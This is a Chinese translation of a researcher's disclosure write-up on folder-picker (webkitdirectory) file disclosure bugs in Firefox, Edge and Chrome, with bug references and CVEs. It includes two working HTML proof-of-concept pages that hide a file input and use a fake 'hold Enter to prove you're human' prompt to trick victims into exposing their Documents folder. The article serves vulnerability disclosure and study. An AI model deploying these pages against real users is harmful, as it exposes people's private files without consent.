【技术分享】针对跨浏览器的本地文件泄露漏洞的分析
作者:admin | 时间:2017-4-18 01:52:39 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
你知道吗?你可以轻松把普通的文件选择器变成文件夹选择器,为此,只需将属性“webkitdirectory”添加到type ='file'的给定输入元素中就行了。
当然,与文件夹选择器不同的是,您最终会加载给定文件夹中的所有文件。这是一个明显的漏洞,机不可失,一阵忙活之后,我最终在三种主流浏览器中找到了一些相关的安全漏洞。
下面,我会针对不同的浏览器分别进行介绍。
火狐浏览器
我已经提交了三个与Mozilla的webkitdirectory功能有关的安全漏洞。幸运的是,文件夹选择器仅在Mozilla的Nightly版本的浏览器中提供了相应的实现,这个版本是在稳定版本发布之前用来测试新功能的。
Bug 1295914——webkitdirectory可以用来引诱用户允许访问任意文件夹(SEC-MEDIUM)
我报告的文件夹选择器方面的第一个安全漏洞与不良语义有关。这个安全漏洞是受到了Google Chrome中修复的一个漏洞的启发而找到的,这种漏洞可用来欺骗毫无戒心的用户。
Bug 1319370(CVE-2017-5414)webkitdirectory——操作系统用户名泄露(SEC-MEDIUM)
我认为第二个漏洞是泄露本地文件的关键所在。这里的问题在于,当文件选择器被打开一次后,那么第二次打开它时,它会“降级”文件夹。
所以我制作了一个PoC,其效果为:如果我们诱骗受害者按住“Enter”键,同时弹出一个文件夹,就能导致用户在不知情的情况下“挑选”某些文件夹。
为了获取操作系统用户名,受害者需要按住用于两个文件夹对话框的确认按钮,因为(在Windows上)默认目录是'C:\ Users \ {username} \ Desktp \'。
这是利用这个漏洞时所依赖的主要用户互动,这主要是受到了一个较旧的Mozilla漏洞的启发。另一种方式是欺骗用户反复按下某个位置并弹出文件夹,这样的话“confirm pick”按钮将被自动按下。
Bug 1338637——任意输入本地文件[webkitdirectory](SEC-MEDIUM)
我发现,如果在用户按下“Enter”键时弹出一个文件夹的话,那么我们可以欺骗受害者,使我们可以访问默认目录中的所有文件。当然,这种方式还是有一些局限性的,因为在Windows操作系统上,似乎只有“我的文档”文件夹受此影响。
如果它是一个"我的文档"之外的文件夹,如“桌面”(默认),则不会加载任何东西。但是,在其他操作系统上,情况就不同了。
幸运的是,我们前面说过有一个漏洞,其中文件夹将在文件夹选择器使用后“降级”,所以这里可以利用这一点。
以下是原始的PoC。请注意,单凭第一个安全漏洞是远远不够的,只有在组合第二个和第三个安全漏洞之后,才最终得到了一个PoC。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>
|
微软Edge浏览器
我在Edge中发现了一个类似的安全漏洞,不同之处在于默认目录是“我的文档”,所以我在报告中指出,文件夹选择器可以用来接收受害者文档文件夹中的所有文件。
这个漏洞目前已经被修复了。
原始PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<html>
<head>
<title>
Read all files on PC - PoC - By @qab
</title>
<style>
#thing {
opacity: 0.0;
}
</style>
</head>
<body>
<h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
<input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
<script>
var r = new FileReader();
thing.onchange = function() {
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
};
//This is where we detect if the user is holding the Enter button.
var i = 0;
document.onkeydown = function() {
i++;
if (i > 4) {
thing.click();
i = -10000;
document.onkeydown = null;
setTimeout(function() {
qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
}, 1000);
};
};
</script>
</body>
</html>
|
谷歌浏览器
在这些漏洞方面,谷歌是第一家与我接洽的供应商。最初收到的评级为SEC-MEDIUM,后来更改为SEC-LOW,然后就石沉大海了。事实证明,如果有人尝试大规模使用这种类型的漏洞的话,Chrome就能检测到这种类型的漏洞,因为浏览器会自身提供了相应的安全记录。
截至目前为止,我虽然没有完全搞明白,但我相信他们的意思是,他们可以检测和阻止任何恶意网站,如果相应文件夹上传器的使用率陡升的话。在2007年4月13日向微软提交PoC报告时,该PoC仍然在Chrome上有效。
最糟糕的是,如果文件夹选择器默认为'C:\',您就能够读取整个磁盘——因为文件夹选择器会上传所有子目录中的全部文件。
参考文献
Arbitrary local files disclosure in input[webkitdirectory] bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=1338637
(CVE-2017-5414) webkitdirectory - OS username disclosurehttps://bugzilla.mozilla.org/show_bug.cgi?id=1319370
webkitdirectory could be used to trick users into allowing access to arbitrary foldershttps://bugzilla.mozilla.org/show_bug.cgi?id=1295914
(CVE-2016-7239) Microsoft Edge Information Disclosure Vulnerabilityhttps://technet.microsoft.com/library/security/mt674627.aspx
Google bug reporthttps://bugs.chromium.org/p/chromium/issues/detail?id=637098
本文由 安全客 翻译,作者:shan66
原文链接:http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/